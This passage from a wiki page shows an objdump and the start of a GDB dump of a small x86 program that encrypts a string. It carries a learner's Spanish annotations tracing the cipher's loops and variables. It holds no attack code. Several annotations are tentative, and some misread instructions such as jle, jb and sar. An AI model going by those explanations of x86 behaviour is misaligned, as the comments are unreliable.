%eax,%eax&lt;br /&gt; 8048565:       29 c1                   sub    %eax,%ecx&lt;br /&gt; 8048567:       89 c8                   mov    %ecx,%eax&lt;br /&gt; 8048569:       a3 a8 9a 04 08          mov    %eax,0x8049aa8; volvemos a mover eax a la variable semilla suele ser un valor entre 0-60??&lt;br /&gt; 804856e:       83 7d 08 02             cmpl   $0x2,0x8(%ebp); como podemos comprobar esto solo se trata de la tipica comprobacion de if $#=2 then ok else wrong parameters&lt;br /&gt; 8048572:       74 1a                   je     804858e &amp;lt;main+0xba&amp;gt;; si es igual vamos a salto858e&lt;br /&gt; 8048574:       8b 45 0c                mov    0xc(%ebp),%eax&lt;br /&gt; 8048577:       8b 00                   mov    (%eax),%eax&lt;br /&gt; 8048579:       89 44 24 04             mov    %eax,0x4(%esp)&lt;br /&gt; 804857d:       c7 04 24 a0 88 04 08    movl   $0x80488a0,(%esp) ; sintaxis incorrecta&lt;br /&gt; 8048584:       e8 ef fd ff ff          call   8048378 &amp;lt;printf@plt&amp;gt;&lt;br /&gt; 8048589:       e9 18 02 00 00          jmp    80487a6 &amp;lt;main+0x2d2&amp;gt;; sale del programa&lt;br /&gt;salto858e:&lt;br /&gt; 804858e:       c7 04 24 c9 88 04 08    movl   $0x80488c9,(%esp)&lt;br /&gt; 8048595:       e8 de fd ff ff          call   8048378 &amp;lt;printf@plt&amp;gt;; sintaxis OK&lt;br /&gt; 804859a:       8b 45 0c                mov    0xc(%ebp),%eax; metemos la direccion de la cadena pasada ...posteriormente le sumamos 4?? no seria mejor lea 0xc+4(%ebp),eax &lt;br /&gt; 804859d:       83 c0 04                add    $0x4,%eax&lt;br /&gt; 80485a0:       8b 00                   mov    (%eax),%eax&lt;br /&gt; 80485a2:       89 04 24                mov    %eax,(%esp);lo dejamos en esp&lt;br /&gt; 80485a5:       e8 ae fd ff ff          call   8048358 &amp;lt;strlen@plt&amp;gt;&lt;br /&gt; 80485aa:       83 f8 03                cmp    $0x3,%eax; si la longitud es mayor que 3 saltamos &lt;br /&gt; 80485ad:       77 19                   ja     80485c8 &amp;lt;main+0xf4&amp;gt;&lt;br /&gt; 80485af:       c7 44 24 04 04 00 00    movl   $0x4,0x4(%esp); mostramos que la longitud debe ser mayuor que 3 y salimos&lt;br /&gt; 80485b6:       00 &lt;br /&gt; 80485b7:       c7 04 24 d6 88 04 08    movl   $0x80488d6,(%esp)&lt;br /&gt; 80485be:       e8 b5 fd ff ff          call   8048378 &amp;lt;printf@plt&amp;gt;&lt;br /&gt; 80485c3:       e9 d5 01 00 00          jmp    804879d &amp;lt;main+0x2c9&amp;gt;&lt;br /&gt; 80485c8:       8b 45 0c                mov    0xc(%ebp),%eax; metemos en esp la direccion de la cadena a cifrar para comprobar su longitud&lt;br /&gt; 80485cb:       83 c0 04                add    $0x4,%eax&lt;br /&gt; 80485ce:       8b 00                   mov    (%eax),%eax&lt;br /&gt; 80485d0:       89 04 24                mov    %eax,(%esp)&lt;br /&gt; 80485d3:       e8 80 fd ff ff          call   8048358 &amp;lt;strlen@plt&amp;gt;&lt;br /&gt; 80485d8:       83 f8 4f                cmp    $0x4f,%eax&lt;br /&gt; 80485db:       76 2c                   jbe    8048609 &amp;lt;main+0x135&amp;gt;; si la cadena es menor que 0x4f=79 (quizas la longitud de los arrays para cifrado) saltamos a la tag linea 309 sino continuamos&lt;br /&gt; 80485dd:       c7 05 ac 9a 04 08 50    movl   $0x50,0x8049aac&lt;br /&gt; 80485e4:       00 00 00 &lt;br /&gt; 80485e7:       c7 44 24 08 50 00 00    movl   $0x50,0x8(%esp)&lt;br /&gt; 80485ee:       00 &lt;br /&gt; 80485ef:       8b 45 0c                mov    0xc(%ebp),%eax&lt;br /&gt; 80485f2:       83 c0 04                add    $0x4,%eax&lt;br /&gt; 80485f5:       8b 00                   mov    (%eax),%eax&lt;br /&gt; 80485f7:       89 44 24 04             mov    %eax,0x4(%esp)&lt;br /&gt; 80485fb:       c7 04 24 c0 9a 04 08    movl   $0x8049ac0,(%esp)&lt;br /&gt; 8048602:       e8 91 fd ff ff          call   8048398 &amp;lt;strncpy@plt&amp;gt;&lt;br /&gt; 8048607:       eb 35                   jmp    804863e &amp;lt;main+0x16a&amp;gt;&lt;br /&gt;linea 309:&lt;br /&gt; 8048609:       8b 45 0c                mov    0xc(%ebp),%eax;sacamos la cadena introducida para pasarla a strlen&lt;br /&gt; 804860c:       83 c0 04                add    $0x4,%eax&lt;br /&gt; 804860f:       8b 00                   mov    (%eax),%eax&lt;br /&gt; 8048611:       89 04 24                mov    %eax,(%esp)&lt;br /&gt; 8048614:       e8 3f fd ff ff          call   8048358 &amp;lt;strlen@plt&amp;gt;&lt;br /&gt; 8048619:       a3 ac 9a 04 08          mov    %eax,0x8049aac; la longitud la guardamos en esta posición que concuerda con el simbolo length&lt;br /&gt; 804861e:       c7 44 24 08 50 00 00    movl   $0x50,0x8(%esp); metemos en la pila el numero 80...cifred?&lt;br /&gt; 8048625:       00 &lt;br /&gt; 8048626:       8b 45 0c                mov    0xc(%ebp),%eax&lt;br /&gt; 8048629:       83 c0 04                add    $0x4,%eax&lt;br /&gt; 804862c:       8b 00                   mov    (%eax),%eax&lt;br /&gt; 804862e:       89 44 24 04             mov    %eax,0x4(%esp)&lt;br /&gt; 8048632:       c7 04 24 c0 9a 04 08    movl   $0x8049ac0,(%esp)&lt;br /&gt; 8048639:       e8 5a fd ff ff          call   8048398 &amp;lt;strncpy@plt&amp;gt;; llamamos a strncpy para que copie 80 caracteres de la cadena pasada a clear &lt;br /&gt;804863e:        c7 05 10 9b 04 08 00    movl   $0x0,0x8049b10; ponemos el contador "i" a 0&lt;br /&gt;salto 3:&lt;br /&gt; 8048645:       00 00 00 &lt;br /&gt; 8048648:       a1 10 9b 04 08          mov    0x8049b10,%eax; eax="i"&lt;br /&gt; 804864d:       3b 05 ac 9a 04 08       cmp    0x8049aac,%eax; comparamos i con length&lt;br /&gt; 8048653:       7e 02                   jle    8048657 &amp;lt;main+0x183&amp;gt;;si "i" &amp;lt; "length" saltamos detras del siguiente jmp&lt;br /&gt; 8048655:       eb 15                   jmp    804866c &amp;lt;main+0x198&amp;gt;;sino vamos a salto2 &lt;br /&gt; 8048657:       a1 10 9b 04 08          mov    0x8049b10,%eax; metemos en eax el contador "i"&lt;br /&gt; 804865c:       05 20 9b 04 08          add    $0x8049b20,%eax; sumamos el valor de i con cifred[0]= esto es para indexar en el array cifred!!&lt;br /&gt; 8048661:       c6 00 30                movb   $0x30,(%eax); metemos 48d en esa posici0n&lt;br /&gt; 8048664:       ff 05 10 9b 04 08       incl   0x8049b10; incrementamos i&lt;br /&gt; 804866a:       eb dc                   jmp    8048648 &amp;lt;main+0x174&amp;gt;: tiramos patras a donde se pone "i" a 0 (salto3)&lt;br /&gt;salto2:&lt;br /&gt; 804866c:       a1 ac 9a 04 08          mov    0x8049aac,%eax; metemos la longitud en eax&lt;br /&gt; 8048671:       05 21 9b 04 08          add    $0x8049b21,%eax ;preparamos el indice para apuntar a cifred+length+1 &lt;br /&gt; 8048676:       c6 00 00                movb   $0x0,(%eax); ponemos a cifred[length+1] a 0&lt;br /&gt; 8048679:       c7 05 10 9b 04 08 00    movl   $0x0,0x8049b10; le asignamos a i el valor 0&lt;br /&gt; 8048680:       00 00 00 &lt;br /&gt; 8048683:       a1 a8 9a 04 08          mov    0x8049aa8,%eax; se guarda el valor semilla en eax&lt;br /&gt; 8048688:       05 40 9a 04 08          add    $0x8049a40,%eax; se indexa min(semilla)&lt;br /&gt; 804868d:       0f b6 00                movzbl (%eax),%eax;guarda en eax el contenido de la posición de memoria min(semilla) y ademas como es un byte se rellena el destino con 0s a la izquierda&lt;br /&gt; 8048690:       a2 21 9b 04 08          mov    %al,0x8049b21; mueve un byte, supuestamente min(semilla)-&amp;gt; a cifred(1)&lt;br /&gt; 8048695:       c7 05 10 9b 04 08 00    movl   $0x0,0x8049b10; i=0;&lt;br /&gt; 804869c:       00 00 00 &lt;br /&gt;salto869f:&lt;br /&gt; 804869f:       a1 10 9b 04 08          mov    0x8049b10,%eax; movemos i al eax&lt;br /&gt; 80486a4:       3b 05 ac 9a 04 08       cmp    0x8049aac,%eax; comparamos i con la longitud&lt;br /&gt; 80486aa:       7c 05                   jl     80486b1 &amp;lt;main+0x1dd&amp;gt;; si es menor vamos a la linea de despues del jmp &lt;br /&gt; 80486ac:       e9 cb 00 00 00          jmp    804877c &amp;lt;main+0x2a8&amp;gt;; si i&amp;gt;=length vamos al final para mostrar la cadena cifrada &lt;br /&gt; 80486b1:       a1 ac 9a 04 08          mov    0x8049aac,%eax ; ponemos la longitud de la caden en eax&lt;br /&gt; 80486b6:       89 44 24 04             mov    %eax,0x4(%esp); de eax la pasamos a la pila en esp+4&lt;br /&gt; 80486ba:       a1 b4 9a 04 08          mov    0x8049ab4,%eax;movemos la variable salto que vale 3 al eax&lt;br /&gt; 80486bf:       03 05 a0 9a 04 08       add    0x8049aa0,%eax;sumamos salto+newpos donde newpos vale 1&lt;br /&gt; 80486c5:       89 04 24                mov    %eax,(%esp); movemos salto+newpos a la pila&lt;br /&gt; 80486c8:       e8 b7 fd ff ff          call   8048484 &amp;lt;vacia&amp;gt;&lt;br /&gt; 80486cd:       a3 a0 9a 04 08          mov    %eax,0x8049aa0; vacia nos devuelvve una un nuevo newpos que guardamos en su posicion de mem asignada&lt;br /&gt; 80486d2:       c7 05 a4 9a 04 08 00    movl   $0x0,0x8049aa4; ponemos a la variable j &lt;br /&gt; 80486d9:       00 00 00 &lt;br /&gt;salto86dc:&lt;br /&gt; 80486dc:       c7 04 24 40 9a 04 08    movl   $0x8049a40,(%esp); se mete (min) en el la pila &lt;br /&gt; 80486e3:       e8 70 fc ff ff          call   8048358 &amp;lt;strlen@plt&amp;gt;; esto siempre deberia valer 90&lt;br /&gt; 80486e8:       39 05 a4 9a 04 08       cmp    %eax,0x8049aa4; comparamos con j&lt;br /&gt; 80486ee:       72 02                   jb     80486f2 &amp;lt;main+0x21e&amp;gt;; si j es mayor vamos a la posicion siguiente al jmp &lt;br /&gt; 80486f0:       eb 27                   jmp    8048719 &amp;lt;main+0x245&amp;gt;; sino vamos a salto 8719 &lt;br /&gt; 80486f2:       a1 a4 9a 04 08          mov    0x8049aa4,%eax; movemos j a eax&lt;br /&gt; 80486f7:       05 40 9a 04 08          add    $0x8049a40,%eax; creamos el indice min(j)&lt;br /&gt; 80486fc:       8b 15 74 9b 04 08       mov    0x8049b74,%edx; metemos la variable procesadas en edx &lt;br /&gt; 8048702:       81 c2 c0 9a 04 08       add    $0x8049ac0,%edx; creamos el indice clear(procesadas)&lt;br /&gt; 8048708:       0f b6 00                movzbl (%eax),%eax; metemos el byte min(j)-&amp;gt;eax&lt;br /&gt; 804870b:       3a 02                   cmp    (%edx),%al; comparamos los bytes min(j),clear(procesadas)&lt;br /&gt; 804870d:       75 02                   jne    8048711 &amp;lt;main+0x23d&amp;gt;;si no fuesen iguales saltamos despues de jmp siguiente &lt;br /&gt; 804870f:       eb 08                   jmp    8048719 &amp;lt;main+0x245&amp;gt;; saltamos al tag salto8719&lt;br /&gt; 8048711:       ff 05 a4 9a 04 08       incl   0x8049aa4; incrementeamos "j"&lt;br /&gt; 8048717:       eb c3                   jmp    80486dc &amp;lt;main+0x208&amp;gt;; volvemos al tag donde se mete min en la pila para hacer un strlen&lt;br /&gt;salto8719:&lt;br /&gt; 8048719:       8b 1d a0 9a 04 08       mov    0x8049aa0,%ebx; metemos newpos (deberia haberse actualizado tras vacia) en ebx &lt;br /&gt; 804871f:       81 c3 20 9b 04 08       add    $0x8049b20,%ebx; indice cifred(newpos) &lt;br /&gt; 8048725:       a1 a8 9a 04 08          mov    0x8049aa8,%eax; movemos la variable semilla en el eax&lt;br /&gt; 804872a:       03 05 a4 9a 04 08       add    0x8049aa4,%eax; sumamos semilla+j&lt;br /&gt; 8048730:       89 c1                   mov    %eax,%ecx; el resultado lo guardamos en ecx&lt;br /&gt; 8048732:       03 0d 70 9b 04 08       add    0x8049b70,%ecx;sumamos increase+semilla+j&lt;br /&gt; 8048738:       b8 43 08 21 84          mov    $0x84210843,%eax; movemos un valor hardcodeado en eax&lt;br /&gt; 804873d:       f7 e9                   imul   %ecx; lo multiplicamos por la suma increase+j+semilla&lt;br /&gt; 804873f:       8d 04 0a                lea    (%edx,%ecx,1),%eax; metemos en eax la direccion generada de edx=clear(procesadas+ecx)&lt;br /&gt; 8048742:       89 c2                   mov    %eax,%edx; de ahi a edx pq eax sera sobre escrito por la siguiente instruccion??o no??&lt;br /&gt; 8048744:       c1 fa 05                sar    $0x5,%edx;dividimos por 32 pq es un shift right ademas de forma aritmetica para conservar el signo &lt;br /&gt; 8048747:       89 c8                   mov    %ecx,%eax; metemos en eax el vallor de la operacion imul con ecx anterior&lt;br /&gt; 8048749:       c1 f8 1f                sar    $0x1f,%eax; dividimos por 2^31=2147483648&lt;br /&gt; 804874c:       29 c2                   sub    %eax,%edx; le restamos edx&lt;br /&gt; 804874e:       89 d0                   mov    %edx,%eax; el resultado va a eax&lt;br /&gt; 8048750:       c1 e0 05                shl    $0x5,%eax; ahora multiplicamos eax por 32&lt;br /&gt; 8048753:       29 d0                   sub    %edx,%eax; restamos eax &lt;br /&gt; 8048755:       01 c0                   add    %eax,%eax&lt;br /&gt; 8048757:       29 c1                   sub    %eax,%ecx&lt;br /&gt; 8048759:       89 c8                   mov    %ecx,%eax&lt;br /&gt; 804875b:       0f b6 80 40 9a 04 08    movzbl 0x8049a40(%eax),%eax&lt;br /&gt; 8048762:       88 03                   mov    %al,(%ebx); guardamos el resultado de al en cifred(newpos) &lt;br /&gt; 8048764:       ff 05 74 9b 04 08       incl   0x8049b74; incrementamos procesadas&lt;br /&gt; 804876a:       83 05 70 9b 04 08 05    addl   $0x5,0x8049b70; increase+5&lt;br /&gt; 8048771:       ff 05 10 9b 04 08       incl   0x8049b10;incrementamos "i"&lt;br /&gt; 8048777:       e9 23 ff ff ff          jmp    804869f &amp;lt;main+0x1cb&amp;gt;; volvemos a salto869f &lt;br /&gt;&lt;br /&gt; 804877c:       a1 ac 9a 04 08          mov    0x8049aac,%eax ; terminar la cadena en 0??&lt;br /&gt; 8048781:       05 21 9b 04 08          add    $0x8049b21,%eax&lt;br /&gt; 8048786:       c6 00 00                movb   $0x0,(%eax)&lt;br /&gt; 8048789:       c7 44 24 04 20 9b 04    movl   $0x8049b20,0x4(%esp)&lt;br /&gt; 8048790:       08 &lt;br /&gt; 8048791:       c7 04 24 ee 88 04 08    movl   $0x80488ee,(%esp)&lt;br /&gt; 8048798:       e8 db fb ff ff          call   8048378 &amp;lt;printf@plt&amp;gt;; se muestra la cdena encriptada es y el valor del array cifred&lt;br /&gt; 804879d:       c7 45 f4 00 00 00 00    movl   $0x0,-0xc(%ebp); se pone a cero una word de la pila&lt;br /&gt; 80487a4:       eb 00                   jmp    80487a6 &amp;lt;main+0x2d2&amp;gt;; se salta a la sigiuente linea?&lt;br /&gt; 80487a6:       8b 45 f4                mov    -0xc(%ebp),%eax; se mueve a eax un valor, sugpongo que el codigo de salida del programa?? &lt;br /&gt; 80487a9:       8b 5d fc                mov    -0x4(%ebp),%ebx&lt;br /&gt; 80487ac:       c9                      leave  &lt;br /&gt; 80487ad:       c3                      ret    &lt;br /&gt; 80487ae:       90                      nop    &lt;br /&gt; 80487af:       90                      nop    &lt;/pre&gt;&lt;span class="anchor" id="line-462"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-463"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;GDB dump &lt;span class="anchor" id="line-464"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-465"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-466"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-467"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-468"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-469"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-470"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-471"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-472"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-473"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-474"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-475"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-476"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-477"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-478"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-479"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-480"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-481"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-482"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-483"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-484"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-485"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-486"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-487"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-488"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-489"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-490"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-491"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-492"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-493"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-494"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-495"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-496"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-497"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-498"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-499"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-500"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-501"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-502"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-503"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-504"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-505"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-506"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-507"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-508"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-509"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-510"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-511"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-512"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-513"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-514"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-515"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-516"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-517"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-518"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-519"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-520"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-521"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-522"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-523"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-524"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-525"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-526"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-527"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-528"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-529"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-530"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-531"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-532"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-533"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-534"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-535"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-536"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-537"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-538"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-539"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-540"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-541"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-542"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-543"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-544"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-545"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-546"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-547"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-548"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-549"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-550"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-551"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-552"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-553"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-554"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-555"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-556"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-557"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-558"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-559"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-560"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-561"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-562"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-563"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-564"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-565"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-566"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-567"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-568"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-569"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-570"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-571"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-572"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-573"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-574"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-575"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-576"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-577"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-578"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-579"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-580"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-581"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-582"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-583"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-584"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-585"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-586"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-587"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-588"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-589"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-590"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-591"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-592"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-593"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-594"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-595"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-596"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-597"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-598"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-599"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-600"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-601"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-602"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-603"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-604"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-605"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-606"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-607"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-608"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-609"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-610"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-611"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-612"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-613"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-614"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-615"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-616"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-617"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-618"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-619"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-620"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-621"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-622"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-623"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-624"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-625"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-626"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-627"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-628"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-629"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-630"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-631"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-632"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-633"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-634"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-635"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-636"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-637"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-638"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-639"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-640"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-641"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-642"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-643"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-644"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-645"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-646"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-647"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-648"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-649"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-650"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-651"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-652"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-653"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-654"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-655"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-656"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-657"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-658"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-659"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-660"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-661"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-662"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-663"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-664"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-665"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-666"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-667"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-668"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-669"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-670"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;Dump of assembler code for function main:&lt;br /&gt;0x080484d4 &amp;lt;main+0&amp;gt;:    push   %ebp&lt;br /&gt;0x080484d5 &amp;lt;main+1&amp;gt;:    mov    %esp,%ebp&lt;br /&gt;0x080484d7 &amp;lt;main+3&amp;gt;:    push   %ebx&lt;br /&gt;0x080484d8 &amp;lt;main+4&amp;gt;:    sub    $0x14,%esp&lt;br /&gt;0x080484db &amp;lt;main+7&amp;gt;:    and    $0xfffffff0,%esp&lt;br /&gt;0x080484de &amp;lt;main+10&amp;gt;:   mov    $0x0,%eax&lt;br /&gt;0x080484e3 &amp;lt;main+15&amp;gt;:   sub    %eax,%esp&lt;br /&gt;0x080484e5 &amp;lt;main+17&amp;gt;:   movl   $0x8049a40,0xfffffff8(%ebp)&lt;br /&gt;0x080484ec &amp;lt;main+24&amp;gt;:   movl   $0x2,0x8049aa8&lt;br /&gt;0x080484f6 &amp;lt;main+34&amp;gt;:   movl   $0x3,0x8049ab4&lt;br /&gt;0x08048500 &amp;lt;main+44&amp;gt;:   movl   $0x1,0x8049aa0&lt;br /&gt;0x0804850a &amp;lt;main+54&amp;gt;:   movl   $0x0,0x8049b74&lt;br /&gt;0x08048514 &amp;lt;main+64&amp;gt;:   movl   $0x0,(%esp)&lt;br /&gt;0x0804851b 